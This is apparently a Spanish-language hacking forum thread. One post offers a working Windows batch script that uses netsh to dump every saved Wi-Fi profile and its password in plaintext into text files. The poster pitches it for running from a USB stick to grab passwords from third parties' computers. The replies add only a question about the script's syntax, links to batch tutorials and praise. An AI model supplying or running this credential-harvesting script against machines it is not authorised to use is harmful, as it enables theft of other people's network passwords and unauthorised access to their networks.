[BACH][APORTE] Extraer las redes y claves almacenadas en el sistema

Iniciado por CodeRed, 27 Abril 2020, 14:08 PM

0 Miembros y 1 Visitante están viendo este tema.

CodeRed

Este pequeño scrupt nos audara a saber las redes wifi y las claves que dispone un sistema windows , ideal para tenerlo en una unidad USB y poder extraer las claves de red que almacena un sistema windows (Solo extrae las redes al que dicho sistema se conecto y almaceno)

@echo off

for /f "tokens=7,8" %%a in ('netsh wlan show profile') do (echo %%a %%b | find /v "lectura") >> PerfilesWifi.txt

for /f "tokens=*" %%c in ('type PerfilesWifi.txt') do (call :Contraseñas %%c)

:Contraseñas

netsh wlan show profile name=%1 key=clear >> contraseñas.txt

:eof



Una vez ejecutado el script nos creara 2 archivos en el primero nos pondra todas las redes almacenadas en el sistema y el segundo nos dara todas las claves de dichas redes almavenadas , lo mas destacable es que nos las ofrece en texto plano.

Muy util para ajenciarte las claves de ordenadores de terceros de manera automatica

Un saludo.  ;)

juan_1

Hola buenas se poco de bach, que significa la linea de :
Tokens=7.8 y la de Tokens= *?
Por curiosidad, que estudios tienes?

EdePC

Saludos,

- Siempre puedes tener a mano los siguientes tutoriales en español:

Tutorial de Programación Batch (Nikos3194, 2013)
https://sites.google.com/site/nikos3194rfcindex/Tutorial%20de%20programacion%20Batch%20%5Bfinal%5D.pdf

Programacin BATCH Avanzada (Sirdarckcat, 2006)
https://foro.elhacker.net/dlattach.html;topic=132924.0;attach=1858

- Y en Inglés está la referencia completa:

Windows Command Reference 2011
https://download.microsoft.com/download/7/2/9/729BB069-C0B9-4C68-9245-0ED23C11B6ED/WinCmdRef.chm

SS64 Command line OS Scripting references (CMD Reference)
https://ss64.com/nt/

.:Xx4NG3LxX:.

Cita de: juan_1 en 17 Mayo 2020, 16:25 PM
Hola buenas se poco de bach, que significa la linea de :
Tokens=7.8 y la de Tokens= *?
Por curiosidad, que estudios tienes?

También podrías escribir For /? en el cmd y ver la ayuda completa.




@CodeRed,

Muy buen aporte, se te agradece. A ver que otras cosas nos traes...!!
"Quizá Batch no sea un lenguaje de programación, pero no obstante deja de ser útil. Asi que no anden diciendo «Que ganas de perder el tiempo»"